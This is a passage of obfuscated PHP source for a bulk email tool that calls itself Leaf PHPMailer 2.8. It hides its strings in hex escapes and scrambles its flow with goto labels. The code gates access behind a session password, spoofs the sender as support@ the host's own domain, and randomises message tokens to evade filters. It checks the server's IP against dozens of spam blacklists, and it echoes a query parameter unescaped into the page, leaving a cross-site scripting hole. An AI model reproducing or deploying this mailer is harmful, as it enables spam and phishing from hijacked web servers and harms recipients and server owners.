"\74\x2f\x74\145\x78\x74\141\x72\x65\141\x3e\74\x2f\144\x69\x76\76\12\x20\40\x20\40\x20\40\40\x20\x20\x20\x20\x20\x3c\x2f\144\x69\x76\76\xa\x20\x20\40\40\x20\40\40\40\x20\40\40\x20\74\144\x69\166\40\x63\x6c\x61\x73\x73\x3d\x22\162\157\x77\42\76\xa\x20\40\40\40\x20\x20\40\x20\x20\x20\x20\x20\40\40\x20\x20\74\144\x69\166\x20\x63\154\x61\163\163\75\42\x66\x6f\x72\155\55\x67\162\x6f\x75\x70\40\143\157\x6c\x2d\154\147\x2d\66\x20\42\76\12\40\x20\x20\40\40\40\x20\40\40\x20\x20\x20\40\40\x20\x20\x20\40\x20\x20\x3c\154\x61\x62\x65\154\40\x66\x6f\162\x3d\x22\x6d\x65\163\163\x61\147\145\124\171\160\x65\x22\x3e\x4d\x65\x73\x73\141\147\x65\x20\x54\x79\160\x65\74\57\x6c\x61\142\145\x6c\76\xa\x20\x20\x20\40\40\x20\40\40\x20\x20\40\40\x20\x20\x20\40\x20\40\x20\x20\x48\x54\x4d\x4c\40\x3c\x69\x6e\x70\165\x74\40\x74\x79\160\145\75\x22\162\141\x64\x69\157\x22\40\156\141\155\x65\75\42\155\x65\x73\x73\141\x67\x65\x54\171\160\145\x22\x20\x69\144\75\x22\x6d\x65\x73\163\x61\x67\x65\x54\171\x70\x65\x22\40\x76\141\x6c\165\145\75\42\61\42\x20" . $html . "\x3e\xa\x20\x20\x20\x20\40\40\x20\40\40\x20\40\x20\x20\40\40\40\x20\x20\40\40\x50\x6c\141\x69\x6e\74\151\156\x70\x75\164\40\164\171\160\x65\75\42\x72\141\x64\x69\x6f\x22\40\x6e\x61\155\x65\75\x22\x6d\x65\163\x73\x61\x67\x65\124\x79\x70\145\42\40\151\x64\x3d\42\155\145\163\x73\141\x67\145\x54\x79\160\x65\42\x20\166\141\x6c\x75\x65\x3d\x22\62\42\x20" . $plain . "\x3e\12\40\40\40\40\40\40\40\40\40\x20\x20\x20\x20\40\40\40\x3c\57\x64\151\166\x3e\xa\x20\x20\40\x20\x20\x20\40\40\x20\40\40\x20\40\40\40\x20\x3c\x64\x69\x76\40\x63\154\141\x73\x73\x3d\42\146\x6f\x72\155\55\147\162\157\x75\160\40\143\157\x6c\55\x6c\147\x2d\63\x20\x22\76\xa\x20\40\x20\x20\40\40\40\40\40\40\40\40\x20\x20\x20\x20\x20\40\40\x20\x3c\x6c\141\x62\x65\x6c\40\x66\157\x72\75\x22\x63\150\141\162\163\145\164\x22\x3e\103\150\x61\x72\141\143\x74\145\x72\40\163\x65\x74\x3c\57\154\141\142\145\x6c\x3e\xa\x20\x20\x20\x20\40\40\x20\x20\x20\40\x20\x20\x20\40\40\x20\x20\40\40\x20\74\x73\x65\154\145\x63\x74\40\x63\x6c\141\x73\163\x3d\x22\146\x6f\x72\x6d\x2d\x63\157\x6e\164\x72\x6f\154\x20\151\156\x70\x75\x74\x2d\x73\155\x22\x20\151\x64\x3d\x22\143\150\x61\162\x73\x65\164\x22\40\156\x61\155\145\75\42\143\x68\141\x72\x73\x65\164\42\76\xa\40\40\40\40\x20\40\x20\x20\40\x20\x20\x20\x20\40\40\x20\x20\40\x20\40\x20\x20\x20\x20\x3c\157\160\x74\151\x6f\x6e\40" . $utf8 . "\76\x55\x54\x46\x2d\x38\74\x2f\x6f\160\x74\151\157\156\x3e\xa\40\40\x20\40\40\40\x20\x20\x20\40\x20\40\x20\x20\40\x20\x20\x20\40\x20\40\40\40\40\x3c\157\160\164\x69\x6f\156\x20" . $iso . "\x3e\111\123\117\x2d\x38\x38\65\x39\x2d\x31\x3c\x2f\157\x70\x74\151\x6f\156\76\xa\x20\x20\x20\40\x20\40\40\x20\40\40\40\40\40\40\40\x20\40\40\x20\40\x3c\57\163\145\x6c\x65\x63\164\76\xa\40\40\x20\40\40\x20\x20\x20\40\x20\x20\x20\40\40\40\40\x3c\57\x64\151\166\x3e\xa\x20\40\x20\x20\40\40\x20\40\40\x20\x20\x20\x20\x20\x20\40\74\144\x69\x76\x20\143\x6c\x61\x73\163\x3d\x22\x66\157\162\x6d\55\x67\162\157\x75\160\40\143\x6f\154\x2d\x6c\147\55\63\x20\x22\x3e\12\x20\40\x20\40\40\40\40\40\40\40\x20\40\x20\40\40\40\40\40\40\40\x3c\x6c\141\x62\x65\154\x20\146\157\x72\x3d\42\145\x6e\x63\x6f\x64\x69\x6e\147\42\x3e\115\145\x73\163\x61\x67\x65\x20\x65\156\x63\157\x64\x69\x6e\x67\74\57\154\x61\x62\x65\x6c\76\12\40\x20\x20\40\40\40\x20\40\x20\x20\40\40\x20\40\x20\x20\40\x20\40\40\x3c\x73\145\x6c\145\x63\x74\x20\x63\x6c\x61\x73\163\75\x22\146\157\x72\155\55\143\x6f\156\164\162\x6f\154\40\151\156\160\x75\x74\x2d\163\x6d\x22\40\151\144\x3d\x22\145\x6e\143\x6f\x64\145\42\x20\156\141\x6d\x65\75\x22\145\x6e\x63\x6f\x64\145\42\x3e\xa\x20\x20\40\x20\x20\40\x20\x20\x20\40\40\40\x20\x20\x20\x20\40\40\x20\40\x20\x20\x20\40\74\x6f\x70\164\151\x6f\156\40" . $bit8 . "\76\70\142\151\164\74\57\x6f\x70\x74\151\157\x6e\76\12\x20\x20\40\40\40\40\x20\x20\40\40\40\40\x20\x20\40\x20\40\40\40\40\x20\x20\x20\40\74\x6f\160\x74\x69\x6f\x6e\x20" . $bit7 . "\x3e\67\142\x69\164\x3c\57\157\160\164\151\x6f\x6e\76\12\x20\40\x20\40\40\40\x20\40\x20\x20\40\40\40\40\x20\40\40\40\40\x20\x20\40\40\x20\x3c\x6f\160\164\151\x6f\156\x20" . $binary . "\x3e\142\151\156\141\x72\171\74\x2f\x6f\160\x74\x69\157\x6e\76\xa\40\x20\40\x20\40\x20\x20\40\x20\40\40\x20\x20\40\x20\40\40\40\x20\40\40\x20\x20\40\74\x6f\160\164\x69\x6f\156\40" . $base64 . "\76\142\x61\x73\145\x36\x34\74\57\157\160\x74\151\x6f\x6e\76\xa\40\40\40\40\40\40\40\40\x20\x20\x20\x20\x20\x20\40\40\x20\x20\x20\x20\40\40\x20\x20\x3c\157\x70\x74\151\157\x6e\x20" . $quotedprintable . "\x3e\x71\x75\157\164\145\144\55\x70\x72\x69\156\x74\x61\x62\x6c\145\74\57\x6f\160\164\x69\x6f\156\76\xa\xa\40\x20\x20\40\x20\40\40\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\40\40\x3c\57\x73\x65\x6c\145\x63\164\76\12\40\40\x20\40\x20\40\40\40\40\x20\40\x20\40\40\40\x20\x3c\x2f\x64\x69\x76\76\12\x20\x20\40\x20\x20\40\x20\40\x20\40\40\x20\74\x2f\x64\x69\166\76\xa\x20\40\x20\x20\x20\40\40\x20\x20\x20\x20\40\74\142\x75\164\x74\x6f\156\x20\164\x79\x70\x65\75\42\163\x75\x62\155\x69\164\x22\40\143\x6c\141\163\163\75\42\142\x74\156\x20\142\164\156\x2d\x64\x65\146\141\x75\154\x74\40\x62\x74\156\x2d\163\155\42\40\146\x6f\162\155\75\x22\x66\x6f\x72\x6d\x22\x20\x6e\141\155\145\75\x22\x61\x63\x74\x69\157\156\42\40\x76\x61\154\165\x65\x3d\42\x73\x65\156\144\42\76\123\x45\116\104\74\57\142\165\164\164\157\156\x3e\x20\157\x72\40\x3c\141\40\150\x72\145\x66\x3d\42\x23\x22\40\157\156\143\x6c\151\x63\x6b\75\42\144\x6f\143\165\155\145\x6e\164\56\x67\x65\x74\105\154\145\x6d\145\x6e\164\102\x79\111\144\50\47\146\x6f\x72\x6d\x27\x29\x2e\x73\165\142\x6d\x69\164\x28\51\73\x20\x72\145\x74\165\162\156\x20\x66\x61\154\163\x65\x3b\x22\76\143\x68\145\x63\153\40\x53\160\x61\x6d\101\163\x73\141\163\163\151\156\40\x53\143\x6f\x72\x65\74\x2f\x61\x3e\12\40\40\40\12\40\40\x20\40\x20\x20\x20\x20\74\57\146\x6f\162\155\76\xa\x20\x20\40\x20\74\57\144\151\166\x3e\xa\40\x20\x20\x20\74\144\x69\166\x20\143\154\x61\163\x73\75\x22\143\157\x6c\x2d\x6c\x67\x2d\66\x22\x3e\74\x62\x72\x3e\xa\x20\x20\x20\40\x20\x20\x20\40\x3c\154\x61\142\145\x6c\x20\146\157\162\75\x22\x77\145\154\154\42\x3e\111\156\163\x74\162\165\x63\x74\151\157\x6e\74\57\154\141\x62\x65\154\76\xa\x20\40\40\40\x20\x20\40\x20\x3c\144\151\166\40\x69\144\x3d\x22\167\x65\154\154\x22\40\143\154\141\x73\x73\x3d\x22\167\145\154\x6c\40\167\x65\x6c\x6c\42\x3e\xa\40\40\x20\40\40\40\x20\x20\40\40\40\x20\x3c\150\x34\x3e\123\145\x72\166\145\x72\40\x49\x6e\146\x6f\x72\155\x61\164\x69\157\156\74\57\150\64\76\12\40\x20\40\40\40\40\40\x20\x20\x20\x20\40\x3c\x75\x6c\76\xa\40\40\x20\40\x20\40\40\40\x20\40\x20\x20\40\x20\40\x20\x3c\x6c\151\x3e\x53\145\x72\x76\145\162\x20\111\120\40\x41\144\x64\162\x65\163\163\40\x3a\x20\74\142\76" . $_SERVER["\123\105\122\x56\105\122\137\101\104\x44\x52"] . "\40\74\57\142\76\40\74\141\40\x68\x72\x65\x66\x3d\x22\x3f\143\x68\x65\x63\153\x5f\151\x70\75" . $_SERVER["\x53\105\x52\x56\x45\122\x5f\x41\x44\x44\122"] . "\42\x20\164\141\x72\147\145\x74\x3d\x22\x5f\x62\x6c\x61\x6e\x6b\42\x20\143\154\x61\x73\x73\75\x22\x6c\141\142\x65\x6c\x20\x6c\x61\x62\x65\x6c\x2d\160\x72\151\155\x61\x72\x79\x22\x3e\x43\150\145\143\x6b\x20\102\x6c\x61\143\x6b\x6c\x69\163\164\40\74\x69\x20\x63\154\141\x73\x73\75\42\147\154\171\160\150\x69\x63\157\156\40\x67\x6c\x79\x70\150\151\x63\157\x6e\55\163\x65\141\x72\x63\150\x22\x3e\x3c\x2f\151\76\x3c\57\141\76\x3c\57\154\x69\76\xa\40\40\40\40\40\40\x20\x20\x20\x20\x20\40\x20\40\x20\x20\74\x6c\151\x3e\x50\110\x50\x20\x56\x65\162\x73\151\x6f\156\40\72\x20\74\142\76" . phpversion() . "\x3c\57\142\76\74\57\x6c\151\x3e\xa\40\40\40\x20\x20\x20\x20\x20\40\40\x20\40\40\x20\40\x20\12\12\x20\x20\x20\x20\x20\x20\x20\40\x20\40\40\40\x3c\x2f\x75\x6c\76\12\x20\x20\x20\x20\40\x20\x20\40\40\40\x20\x20\x3c\150\x34\76\x48\x45\x4c\120\x3c\57\150\x34\x3e\xa\40\40\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\x3c\x75\154\76\xa\40\40\x20\40\x20\40\40\40\40\x20\x20\40\x20\x20\40\40\74\x6c\x69\x3e\x5b\x2d\145\x6d\x61\151\154\55\135\x20\x3a\x20\x3c\142\x3e\x52\x65\143\151\166\145\162\x20\105\155\x61\x69\x6c\x3c\57\x62\x3e\40\x28\145\155\141\151\x6c\x75\163\145\162\x40\145\x6d\141\x69\154\x64\x6f\x6d\x61\x69\156\56\x63\157\155\51\74\57\154\151\76\12\x20\40\40\40\40\40\40\x20\40\x20\x20\x20\x20\40\x20\x20\74\165\x6c\76\12\40\40\x20\x20\40\x20\40\x20\x20\x20\40\40\x20\x20\x20\40\x20\40\40\40\74\154\x69\76\133\55\145\x6d\141\151\x6c\165\x73\145\x72\55\x5d\x20\x3a\40\74\142\x3e\x45\155\141\x69\154\x20\x55\x73\145\162\x3c\57\x62\76\x20\50\145\x6d\x61\151\x6c\x75\x73\x65\x72\x29\40\x3c\x2f\154\151\x3e\xa\x20\40\40\40\40\40\40\x20\x20\40\40\40\x20\40\x20\40\40\40\x20\40\x3c\154\151\x3e\x5b\x2d\x65\155\141\x69\x6c\x64\x6f\x6d\141\151\x6e\55\x5d\40\72\x20\x3c\x62\76\105\155\x61\x69\154\40\125\163\x65\x72\x3c\57\142\x3e\40\x28\x65\155\141\151\154\x64\157\x6d\141\x69\x6e\56\143\x6f\155\51\x20\x3c\57\x6c\151\x3e\12\40\x20\40\x20\x20\x20\x20\x20\x20\40\40\40\x20\x20\40\x20\x3c\57\x75\154\76\12\x20\x20\40\x20\40\x20\40\x20\40\40\x20\x20\40\x20\x20\40\74\154\151\x3e\x5b\x2d\x74\x69\155\x65\x2d\135\40\72\x20\74\x62\76\x44\141\x74\x65\x20\x61\x6e\x64\x20\124\x69\x6d\145\x3c\x2f\142\x3e\x20\x28" . date("\x6d\x2f\x64\57\131\x20\x68\x3a\151\x3a\163\40\141", time()) . "\51\x3c\57\x6c\151\76\12\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\40\40\40\40\x20\xa\40\x20\x20\x20\40\x20\40\x20\x20\40\40\40\40\x20\40\40\74\x6c\x69\x3e\x5b\x2d\162\x61\156\144\157\x6d\163\x74\162\151\x6e\x67\55\135\40\x3a\x20\74\142\x3e\x52\x61\156\x64\x6f\x6d\x20\163\164\162\x69\156\147\x20\x28\60\x2d\x39\54\x61\x2d\172\x29\74\57\142\x3e\74\x2f\x6c\x69\x3e\xa\x20\40\x20\x20\40\40\x20\40\x20\x20\40\x20\40\40\40\40\x3c\x6c\151\76\133\55\162\141\156\x64\x6f\155\156\x75\155\x62\x65\x72\x2d\x5d\x20\x3a\40\x3c\142\76\122\141\156\x64\x6f\155\x20\x6e\x75\x6d\x62\x65\x72\40\50\x30\x2d\71\51\x20\74\x2f\142\76\74\x2f\154\x69\76\12\x20\x20\x20\x20\x20\x20\x20\40\40\40\40\x20\40\40\x20\40\x3c\x6c\x69\76\133\x2d\162\x61\x6e\144\157\x6d\154\145\x74\164\x65\x72\163\55\135\x20\72\40\x3c\142\x3e\122\141\x6e\x64\x6f\155\x20\114\x65\x74\x74\x65\x72\163\50\x61\x2d\x7a\51\40\x3c\x2f\142\76\74\57\x6c\x69\x3e\12\x20\x20\x20\40\x20\x20\x20\x20\x20\40\x20\40\40\40\40\x20\x3c\x6c\151\x3e\x5b\55\162\141\x6e\144\x6f\x6d\155\x64\x35\55\135\x20\72\40\74\142\x3e\122\x61\156\144\157\155\40\115\x44\x35\x20\74\x2f\142\76\74\x2f\154\x69\x3e\12\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\74\57\165\154\76\12\40\x20\x20\40\x20\40\40\x20\x20\x20\40\x20\74\x68\x34\x3e\145\170\x61\x6d\x70\154\x65\74\x2f\150\64\76\xa\40\40\40\x20\x20\x20\x20\40\40\x20\40\x20\x52\x65\x63\x65\151\x76\x65\162\40\105\155\141\x69\154\40\x3d\40\x3c\x62\x3e\165\x73\145\x72\x40\x64\157\155\141\x69\x6e\x2e\143\x6f\155\x3c\x2f\x62\x3e\74\142\x72\76\12\x20\40\40\40\40\40\40\x20\x20\40\x20\40\74\x75\154\x3e\12\40\40\x20\40\40\40\x20\40\x20\x20\40\40\40\x20\40\x20\74\x6c\151\x3e\x68\x65\154\154\157\40\74\142\x3e\133\x2d\145\155\x61\151\154\x75\x73\145\162\55\135\74\x2f\x62\76\x20\75\x20\150\x65\x6c\154\x6f\x20\x3c\142\x3e\x75\x73\145\x72\74\x2f\x62\76\x3c\x2f\x6c\x69\x3e\12\x20\x20\40\x20\x20\x20\40\40\40\40\x20\40\x20\x20\x20\x20\x3c\x6c\x69\x3e\171\157\165\162\40\144\x6f\x6d\141\x69\156\40\x69\x73\40\x3c\142\76\x5b\55\x65\x6d\141\x69\x6c\144\x6f\x6d\141\151\x6e\55\x5d\74\57\x62\x3e\40\75\x20\131\157\x75\x72\x20\104\157\155\x61\x69\156\x20\x69\163\40\x3c\x62\x3e\144\x6f\155\x61\x69\156\56\x63\157\155\x3c\x2f\x62\x3e\74\x2f\x6c\x69\76\12\40\40\x20\x20\40\40\40\x20\x20\x20\x20\x20\40\x20\40\x20\x3c\x6c\x69\76\171\157\165\162\40\143\157\x64\145\40\x69\x73\x20\40\74\x62\76\133\55\x72\x61\x6e\144\157\x6d\155\144\x35\55\135\x3c\x2f\x62\76\x20\x3d\x20\171\x6f\165\162\x20\x63\157\x64\x65\40\151\x73\x20\x3c\142\76\x65\61\x30\x61\144\x63\63\x39\64\x39\142\x61\x35\71\x61\x62\142\x65\x35\66\145\x30\x35\67\146\x32\x30\146\x38\70\63\145\74\x2f\142\x3e\74\x2f\154\x69\x3e\xa\x20\x20\40\x20\x20\40\x20\x20\x20\40\40\x20\74\x2f\165\x6c\x3e\xa\12\40\40\40\x20\40\40\x20\40\x20\40\x20\40\74\x68\66\76\142\171\x20\74\142\x3e\74\141\40\x68\162\x65\146\75\42\x68\x74\x74\x70\72\x2f\57" . $leaf["\x77\x65\142\163\x69\x74\145"] . "\42\x3e" . $leaf["\x77\x65\x62\163\x69\x74\x65"] . "\74\57\141\x3e\74\57\142\76\x3c\57\x68\66\76\xa\40\x20\40\x20\40\x20\40\x20\x3c\57\144\x69\x76\76\12\40\40\x20\x20\74\x2f\x64\x69\166\x3e"; goto RXqN4; sXd5V: if (!isset($_POST["\x73\145\156\144\145\162\x45\155\141\151\x6c"])) { $senderEmail = "\163\x75\160\160\157\x72\x74\100" . str_replace("\x77\167\167\x2e", '', $_SERVER["\110\124\124\x50\x5f\110\x4f\x53\124"]); if (!leafMailCheck($senderEmail)) { $senderEmail = ''; } } goto Jz2jE; Hpt7g: if ($_POST["\141\x63\x74\151\x6f\x6e"] == "\166\151\x65\x77") { $viewMessage = leafTrim($_POST["\155\x65\163\163\x61\x67\145\114\145\164\164\x65\x72"]); $viewMessage = leafClear($viewMessage, "\x75\x73\145\x72\x40\144\x6f\155\x61\x69\156\56\x63\157\x6d"); if ($_POST["\155\145\163\x73\x61\147\145\x54\x79\160\x65"] == 2) { print "\74\160\162\145\x3e" . htmlspecialchars($viewMessage) . "\74\x2f\160\162\145\76"; } else { print $viewMessage; } die; } goto sXd5V; yRr3M: $utf8 = "\x73\145\x6c\x65\143\x74\x65\144"; goto iopTY; gE1NX: $leaf["\x76\x65\162\x73\x69\157\x6e"] = "\62\56\70"; goto TDzYw; TDzYw: $leaf["\x77\x65\142\163\151\164\145"] = "\154\x65\141\x66\x6d\x61\151\154\x65\162\56\x70\167"; goto m7fqs; iopTY: $bit8 = "\x73\x65\154\x65\x63\164\x65\x64"; goto u8wmJ; G2FjA: $html = "\143\x68\x65\x63\153\145\144"; goto yRr3M; L0IwS: if (!empty($password) and $_SESSION[$sessioncode] != $password) { if (isset($_REQUEST["\160\x61\163\x73"]) and $_REQUEST["\x70\x61\163\163"] == $password) { $_SESSION[$sessioncode] = $password; } else { print "\x3c\160\162\145\40\141\x6c\151\x67\x6e\x3d\143\x65\x6e\x74\145\162\x3e\74\146\157\162\x6d\x20\x6d\145\164\x68\157\x64\75\160\157\x73\x74\x3e\x50\x61\163\x73\x77\x6f\162\144\x3a\x20\x3c\151\x6e\x70\165\x74\40\164\x79\160\x65\75\47\160\x61\163\x73\167\157\x72\144\x27\x20\x6e\x61\155\145\75\x27\160\141\x73\163\x27\x3e\74\151\x6e\x70\x75\164\x20\164\x79\160\145\x3d\x27\163\165\142\155\x69\x74\x27\40\166\x61\154\165\x65\75\x27\x3e\x3e\47\x3e\74\57\146\x6f\x72\x6d\76\x3c\x2f\x70\x72\x65\76"; die; } } goto Xbvpm; of9yo: function leafClear($text, $email) { $e = explode("\100", $email); $emailuser = $e[0]; $emaildomain = $e[1]; $text = str_replace("\133\x2d\164\151\155\145\55\135", date("\155\57\x64\x2f\x59\x20\x68\x3a\x69\72\163\40\141", time()), $text); $text = str_replace("\x5b\x2d\145\155\141\151\154\55\135", $email, $text); $text = str_replace("\133\55\x65\x6d\x61\x69\154\x75\163\x65\x72\x2d\135", $emailuser, $text); $text = str_replace("\133\x2d\x65\x6d\141\x69\154\x64\x6f\x6d\x61\x69\156\x2d\135", $emaildomain, $text); $text = str_replace("\133\x2d\x72\x61\156\144\x6f\x6d\x6c\145\164\x74\145\162\x73\55\135", randString("\x61\x62\143\144\145\x66\x67\150\151\x6a\x6b\154\155\x6e\157\x70\161\x72\163\x74\165\166\x77\170\171\172"), $text); $text = str_replace("\133\55\x72\141\156\x64\x6f\x6d\x73\164\162\x69\x6e\x67\55\135", randString("\x61\x62\x63\144\x65\x66\147\150\151\x6a\153\x6c\155\156\157\x70\x71\162\163\x74\x75\x76\x77\x78\x79\x7a\x30\x31\62\63\x34\x35\x36\x37\70\x39"), $text); $text = str_replace("\x5b\x2d\162\141\156\144\x6f\x6d\x6e\165\x6d\142\x65\x72\55\x5d", randString("\60\61\62\63\64\x35\x36\x37\x38\x39"), $text); $text = str_replace("\x5b\55\x72\x61\x6e\x64\x6f\x6d\x6d\x64\x35\x2d\x5d", md5(randString("\x61\x62\143\x64\145\146\x67\x68\151\x6a\153\x6c\x6d\156\x6f\160\x71\162\x73\164\x75\x76\x77\170\171\172\x30\x31\62\x33\x34\x35\66\x37\x38\x39")), $text); return $text; } goto kvPI_; m7fqs: $sessioncode = md5(__FILE__); goto L0IwS; AhWO_: ini_set("\155\x65\x6d\x6f\162\171\137\154\151\155\x69\164", -1); goto gE1NX; COxua: if (isset($_GET["\x63\x68\145\x63\x6b\137\x69\x70"])) { if (isset($_GET["\150\x6f\x73\164"])) { $_GET["\x68\x6f\x73\164"] = explode("\54", $_GET["\150\x6f\x73\x74"]); foreach ($_GET["\150\x6f\163\x74"] as $host) { if (checkdnsrr($_GET["\143\x68\x65\143\153\137\151\160"] . "\x2e" . $host . "\56", "\x41")) { $check = "\x3c\x66\x6f\x6e\x74\40\x63\157\154\157\162\x3d\47\162\145\144\47\76\x20\114\x69\x73\164\x65\144\74\x2f\146\x6f\x6e\x74\x3e"; } else { $check = "\x3c\146\157\156\164\40\143\x6f\154\x6f\162\75\x27\147\162\145\x65\x6e\x27\x3e\40\103\x6c\145\x61\x6e\74\x2f\146\x6f\156\164\76"; } print "\x64\157\x63\165\x6d\x65\156\x74\56\x67\145\164\x45\x6c\x65\155\145\156\x74\x42\x79\x49\144\x28\42" . $host . "\42\51\x2e\151\x6e\x6e\x65\x72\110\x54\x4d\x4c\x20\75\40\42" . $check . "\42\73"; } die; } $dnsbl_lookup = array("\x61\154\154\56\163\65\150\56\x6e\x65\164", "\x62\x2e\142\141\x72\x72\141\x63\x75\x64\141\x63\145\x6e\x74\x72\141\x6c\56\x6f\x72\x67", "\142\154\x2e\x73\160\141\155\x63\x6f\160\x2e\x6e\x65\164", "\x62\154\x61\x63\153\154\x69\163\x74\x2e\x77\x6f\157\x64\171\56\x63\150", "\142\157\147\x6f\x6e\x73\x2e\143\171\155\x72\x75\x2e\x63\157\155", "\x63\142\x6c\x2e\x61\x62\165\x73\145\x61\164\56\x6f\162\x67", "\143\x64\x6c\56\x61\156\x74\x69\55\x73\x70\141\x6d\x2e\x6f\x72\147\56\x63\156", "\x63\157\155\142\151\156\x65\x64\x2e\141\142\165\163\145\x2e\143\x68", "\x64\142\56\x77\160\142\154\x2e\x69\156\x66\x6f", "\144\156\163\x62\154\x2d\61\x2e\165\143\x65\x70\x72\x6f\x74\145\143\x74\56\x6e\x65\164", "\x64\x6e\x73\x62\x6c\x2d\x32\x2e\165\x63\145\x70\x72\157\164\145\143\x74\x2e\156\145\164", "\x64\156\163\x62\x6c\55\63\56\x75\143\145\160\x72\157\164\145\x63\x74\x2e\156\145\164", "\x64\156\163\142\x6c\56\141\x6e\164\x69\143\x61\160\x74\x63\150\141\x2e\156\x65\164", "\144\156\163\x62\x6c\x2e\144\162\x6f\156\x65\x62\154\56\157\162\x67", "\144\x6e\x73\x62\154\56\151\x6e\x70\x73\x2e\x64\145", "\144\x6e\x73\142\x6c\x2e\163\157\x72\142\x73\56\156\145\x74", "\x64\x72\x6f\156\x65\x2e\141\x62\x75\163\145\56\143\150", "\144\165\151\156\166\56\x61\165\160\x61\144\x73\56\x6f\x72\x67", "\x64\165\x6c\56\x64\x6e\x73\x62\x6c\56\163\x6f\x72\142\163\x2e\x6e\145\x74", "\x64\171\x6e\141\x2e\x73\160\x61\x6d\x72\x61\164\163\56\x63\x6f\x6d", "\144\x79\x6e\x69\160\x2e\x72\x6f\164\150\145\156\x2e\x63\157\x6d", "\x68\x74\x74\x70\x2e\x64\x6e\x73\142\154\56\x73\x6f\x72\x62\x73\56\x6e\x65\164", "\x69\160\163\56\x62\x61\x63\153\x73\x63\x61\164\x74\145\x72\145\162\x2e\x6f\162\147", "\151\x78\x2e\x64\x6e\x73\x62\154\56\155\x61\156\x69\164\165\56\x6e\145\164", "\153\157\x72\145\141\56\163\145\162\166\x69\143\145\x73\56\156\x65\164", "\x6d\151\163\143\x2e\x64\x6e\x73\x62\154\x2e\x73\157\162\x62\163\x2e\x6e\x65\164", "\156\157\160\x74\162\56\163\160\141\x6d\x72\141\164\163\x2e\143\157\x6d", "\157\162\x76\x65\144\x62\x2e\x61\x75\160\141\x64\163\x2e\x6f\162\x67", "\160\142\x6c\x2e\x73\160\x61\155\x68\141\165\x73\x2e\157\162\147", "\160\162\157\170\x79\x2e\142\x6c\x2e\x67\167\x65\145\x70\56\143\x61", "\x70\x73\x62\154\56\x73\165\162\162\151\145\154\x2e\x63\157\155", "\x72\145\x6c\141\171\x73\x2e\142\154\x2e\147\167\x65\145\160\56\143\141", "\x72\x65\154\x61\x79\163\56\156\x65\164\x68\x65\x72\56\156\x65\x74", "\x73\x62\x6c\x2e\163\x70\141\x6d\150\141\x75\163\56\157\x72\147", "\163\150\x6f\162\x74\x2e\162\142\154\56\152\x70", "\163\151\156\147\x75\x6c\141\162\56\x74\164\153\56\x70\164\145\x2e\x68\165", "\x73\155\164\160\56\144\156\163\x62\154\x2e\x73\x6f\x72\x62\163\56\x6e\145\164", "\x73\x6f\x63\x6b\x73\x2e\144\156\163\x62\x6c\x2e\x73\157\x72\x62\x73\x2e\x6e\145\164", "\163\x70\141\155\56\141\142\165\163\x65\x2e\143\x68", "\x73\x70\141\x6d\56\144\156\163\x62\x6c\56\141\156\x6f\156\x6d\x61\x69\154\163\56\x64\145", "\x73\x70\x61\x6d\56\x64\156\x73\142\x6c\x2e\163\x6f\x72\142\x73\x2e\156\x65\164", "\163\160\x61\155\56\x73\160\x61\155\162\141\x74\163\x2e\143\x6f\x6d", "\x73\x70\141\155\142\x6f\164\56\x62\x6c\163\56\144\x69\x67\151\x62\x61\x73\x65\x2e\x63\141", "\x73\160\141\x6d\162\142\154\56\151\x6d\160\56\143\x68", "\163\160\x61\155\163\x6f\x75\162\x63\x65\x73\x2e\146\141\x62\x65\154\x2e\x64\153", "\165\x62\x6c\56\x6c\x61\x73\x68\142\141\x63\x6b\56\x63\x6f\x6d", "\x75\142\x6c\56\x75\156\163\x75\142\x73\143\157\162\x65\x2e\143\157\x6d", "\166\151\x72\x75\163\56\162\x62\154\x2e\x6a\160", "\167\x65\x62\56\x64\156\x73\x62\x6c\56\x73\157\162\x62\163\56\x6e\145\164", "\167\157\162\x6d\x72\x62\154\56\x69\155\x70\x2e\143\x68", "\170\142\154\56\163\x70\x61\155\x68\141\x75\x73\56\157\x72\147", "\x7a\56\155\x61\151\x6c\163\160\x69\x6b\145\x2e\156\x65\x74", "\x7a\145\x6e\x2e\x73\x70\141\x6d\x68\x61\x75\x73\x2e\x6f\x72\x67", "\x7a\157\x6d\142\x69\145\x2e\x64\156\163\142\154\x2e\163\157\162\142\x73\56\x6e\x65\x74"); $reverse_ip = implode("\x2e", array_reverse(explode("\x2e", $_GET["\x63\x68\145\x63\x6b\137\151\x70"]))); $dnsT = count($dnsbl_lookup); leafheader(); print "\x3c\x64\151\x76\40\143\154\x61\163\x73\x3d\42\x63\157\156\x74\141\151\156\x65\162\x20\143\x6f\x6c\x2d\154\147\55\x36\42\76\74\150\x33\x3e\x3c\146\157\x6e\164\x20\x63\x6f\154\157\162\x3d\42\147\x72\145\x65\156\x22\76\x3c\x73\x70\x61\156\x20\143\154\141\163\x73\75\42\x67\x6c\x79\x70\150\151\143\x6f\x6e\x20\x67\x6c\171\x70\x68\x69\x63\x6f\156\x2d\154\x65\x61\146\42\76\74\57\x73\160\x61\156\76\x3c\57\x66\157\x6e\x74\x3e\x20\x4c\x65\x61\146\x20\120\110\x50\115\141\151\154\x65\162\x20\74\x73\155\141\x6c\x6c\76\x42\154\x61\x63\x6b\154\x69\163\164\x20\x43\x68\x65\x63\153\145\162\x3c\x2f\x73\x6d\141\x6c\154\x3e\74\x2f\150\x33\x3e"; print "\x43\150\145\x63\153\x69\156\147\x20\x3c\142\76" . $_GET["\x63\150\145\143\153\137\x69\160"] . "\x3c\57\x62\x3e\40\151\x6e\x20\x3c\x62\76{$dnsT}\74\57\142\76\x20\x20\141\x6e\x74\151\55\x73\160\141\x6d\40\x64\x61\164\141\142\x61\163\x65\163\x3a\74\142\162\x3e"; $dnsN = ''; print "\74\x74\141\142\x6c\145\40\76"; for ($i = 0; $i < $dnsT; $i = $i + 10) { $host = ''; $hosts = ''; for ($j = $i; $j < $i + 10; $j++) { $host = $dnsbl_lookup[$j]; if (!empty($host)) { print "\74\x74\162\x3e\40\x3c\x74\x64\x3e{$host}\74\x2f\164\144\76\x20\x3c\164\x64\x20\x69\144\x3d\47{$host}\47\x3e\103\x68\145\143\x6b\x69\156\x67\40\56\x2e\74\57\164\144\76\74\57\x74\162\x3e"; $hosts .= "{$host}\x2c"; } } $dnsN .= "\x3c\163\143\x72\151\160\x74\x20\x73\x72\143\75\x27\x3f\x63\x68\145\143\153\137\151\x70\x3d{$reverse_ip}\46\150\x6f\x73\164\x3d" . $hosts . 